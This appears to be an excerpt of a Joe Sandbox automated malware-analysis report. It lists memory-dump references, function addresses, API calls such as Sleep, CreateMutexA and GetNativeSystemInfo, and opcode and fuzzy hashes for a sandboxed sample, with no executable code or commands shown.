Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fd3e0d065244beecfd1c92d395829196954acb6f3461d9b6ecd908290499a804
Instruction ID: 086d2b98f923627e31a25856ef0549195bd8a6407a40348b737437ba2037448d
Opcode Fuzzy Hash: fd3e0d065244beecfd1c92d395829196954acb6f3461d9b6ecd908290499a804
Instruction Fuzzy Hash: B1314A31B012148BEB08DB7CEC89B6DB772EFD5318F248219E4149B3D6CB3589848B72

Function 00D2A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 02c561a84fa4c99ab8a8fd5a7a829154c760fe85447e30d549d578647deba0e3
Instruction ID: 31afdd074f16b9371356bcbdc88c7af2e3c7407e53ad96e606a08cabed51f048
Opcode Fuzzy Hash: 02c561a84fa4c99ab8a8fd5a7a829154c760fe85447e30d549d578647deba0e3
Instruction Fuzzy Hash: AE314831700214CBEB08DB7CED89BADB7B2EBD1318F248219E418973D6C77589808B76

Function 00D29ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4fe3b98043bf29d7c6489d063ca284bca760a8cdb0eba40117fef72356f46383
Instruction ID: ed62134986b081601398c3fa57432ce2618fc42b174b3d8690ec37d76d19a48d
Opcode Fuzzy Hash: 4fe3b98043bf29d7c6489d063ca284bca760a8cdb0eba40117fef72356f46383
Instruction Fuzzy Hash: 4A2122317042109BEB189B6CFCD9B6CF762EBD1314F24421AE518972D6DB7699808B32

Function 00D2A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 156c1620239443afe7530f36f3c70e2808d44bd6e221471d682a7ca79866b89a
Instruction ID: ae36e9b38be0d52f319e1e395034effb21ea605670d87fe0d574d3ebedbf3e02
Opcode Fuzzy Hash: 156c1620239443afe7530f36f3c70e2808d44bd6e221471d682a7ca79866b89a
Instruction Fuzzy Hash: 29217B30749211CBEB28676CB98A76DF261DFA0308F684816F108D63C2CA76888086B3

Function 00D2A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fde614ca8412070b9946b1efb0053462ede8db7a80fb219db5239eb183b00333
Instruction ID: e130c805fa03d330879771db9fb0a1b467232b2caa1fa1fe7837a9c90b887fa5
Opcode Fuzzy Hash: fde614ca8412070b9946b1efb0053462ede8db7a80fb219db5239eb183b00333
Instruction Fuzzy Hash: A12125317052009BEB189B6CFC8976CB762EBE1314F24421AE419977D6D77699808772

Function 00D27D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D27ED3

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 84558724c93fb9fecdb69bb6a2248f44b92da05a713a863a12c7defb4ab39633
